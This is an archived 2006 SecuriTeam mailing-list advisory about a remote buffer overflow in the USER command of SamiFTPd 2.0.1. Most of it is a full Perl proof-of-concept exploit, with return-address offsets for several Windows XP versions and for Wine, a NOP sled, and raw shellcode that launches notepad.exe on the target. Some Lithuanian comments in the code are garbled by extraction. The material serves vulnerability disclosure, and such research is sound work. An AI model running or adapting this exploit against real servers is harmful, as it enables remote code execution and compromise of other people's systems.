

[EXPL] SamiFTPd USER buffer overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00023.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 7 Feb 2006 17:53:53 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

SamiFTPd USER buffer overflow (Exploit)

SUMMARY

" <<http://www.karjasoft.com/samiftp>> Sami FTP Server gives you an easy way to share files with your friends or your family: only a few clicks are needed to set up a small but powerful FTP server!"

SamiFTPd does not validate user input allowing attackers to execute arbitrary code when using the USER command.

DETAILS

Vulnerable Systems:

* SamiFTPd version 2.0.1

Exploit:

```
#!/usr/bin/perl
```

```
# Sami FTP Server v2.0.1 Remote notepad.exe execution PoC by Critical
```

```
Security research http://www.critical.lt
```

```
# Tested on Windows XP SP2, Windows XP SP0 and even on FreeBSD 6.0-RELEASE
```

```
Wine 0.9.6 :))
```

```
use Net::FTP; # <- jo, a tinginys :)
```

[EXPL] SamiFTPd USER buffer overflow (Exploit)

```
use Switch;

if (@ARGV < 3) {
print
"-----\n";
print "Usage : exploit.pl -hVictimsIPAddress -yYourIPAddress
-oOffsetNumber\n";
print " Offsets: \n";
print " 1 - 0x76B43AE0 Windows XP SP2 winmm.dll call esp\n";
print " 2 - 0x76B5D17B Windows XP SP1 winmm.dll call esp\n";
print " 3 - 0x71AB7BFB Windows XP SP0 ws2_32.dll jmp esp\n";
print " 4 - 0x9C2295DF FreeBSD 6.0-RELEASE Wine 0.9.6 kernel32.dll jmp
esp\n";
print " If values not specified, default values will be used.\n";
print " Example : ./exploit.pl -h127.0.0.1 -y127.0.0.1 -o1\n";
print
"-----\n";
}
$host = "127.0.0.1"; # aukos ip
$yourip = "127.0.0.1" ; # Reikalingas tam, kad b t galima sulyginti
elkod , nes i steka sira o ir jusu ip adresas, todel ra ykit savo i
orini (jei neturit tokio - gateway ip)
$offset = "\xE0\x3A\xB4\x76"; # defaultinis offsetas winmm.dll esant
call esp (WinXP SP 2)

foreach (@ARGV) {
$host = $1 if ($_ =~ /-h((.*)\.(.*)\.(.*)\.(.*)/);
$yourip = $1 if ($_ =~ /-y((.*)\.(.*)\.(.*)\.(.*)/);
$offset = $1 if ($_ =~ /-o(.*)/);
}
#offset suradimui naudokit findjmp.exe arba metasploit.com opcod db ;)
(call esp/jmp esp..)
switch ($offset) {
case 1 { $offset = "\xE0\x3A\xB4\x76" } # Windows XP SP2 winmm.dll call
esp
case 2 { $offset = "\x7B\xD1\xB5\x76" } # Windows XP SP1 winmm.dll call
esp
case 3 { $offset = "\xFB\x7B\xAB\x71" } # Windows XP SP0 ws2_32.dll jmp
esp
case 4 { $offset = "\xDF\x95\x22\x9C" } # FreeBSD 6.0-RELEASE Wine 0.9.6
kernel32.dll jmp esp
}

foreach $letter (split " ", $yourip) { $c++;};
$ftp = Net::FTP->new($host, Debug => 0) or die "Cannot connect: $@";
$user = "A" x 213 . # va iuojam iki returno :O (cia irgi galima ki t
elkod :) )
"A" x (15 - $c) . # dar keli baitai sulyginimui, nes stek taip pat
sira o ir ip adresas, tod l reikia pagal j paskai iuot, kur ra yt ret
adres
$offset . # ret adresas kokio dll'o call esp ar jmp esp, ar
```

[EXPL] SamiFTPd USER buffer overflow (Exploit)

ka nors pana aus svarbu, kad nu oktume esp ;)

```
"\x90" x 25 . # nop' sled'as, kad sulygintume su esp esan iu adresu
```

```
# elkodas paleid iantis notepad ( elkodas skirtas tiem kas sak , jog critical m gsta DoS :*) – nor sit, sid sit normal ..
```

```
"\xEB\x61\x56\x6A\x30\x59\x64\x8B\x01\x8B\x40\x0C".  
"\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\xC3\x60\x8B\x6C".  
"\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B".  
"\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B\x34".  
"\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74".  
"\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28".  
"\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B".  
"\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24".  
"\x1C\x61\xC3\xE8\x9A\xFF\xFF\xFF\x68\x98\xFE\x8A".  
"\x0E\x50\xE8\xA2\xFF\xFF\xFF\xEB\x02\xEB\x05\xE8".  
"\xF9\xFF\xFF\xFF\x5B\x83\xC3\x1C\x33\xC9\x88\x0B".  
"\x83\xEB\x0B\x41\x51\x53\xFF\xD0\x90\x6E\x6F\x74".  
"\x65\x70\x61\x64\x2E\x65\x78\x65\x01";  
$ftp->login("$user","biatch");
```

```
#EoF
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:admin@xxxxxxxxxxxx>>
critical.lt.

The original article can be found at:

<<http://www.critical.lt/?vulnerabilities/208>>

<http://www.critical.lt/?vulnerabilities/208>

The original exploit can be found at:

<http://www.critical.lt/research/sami_ftp_poc.txt>

http://www.critical.lt/research/sami_ftp_poc.txt

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

[EXPL] SamiFTPd USER buffer overflow (Exploit)

loss of business profits or special damages.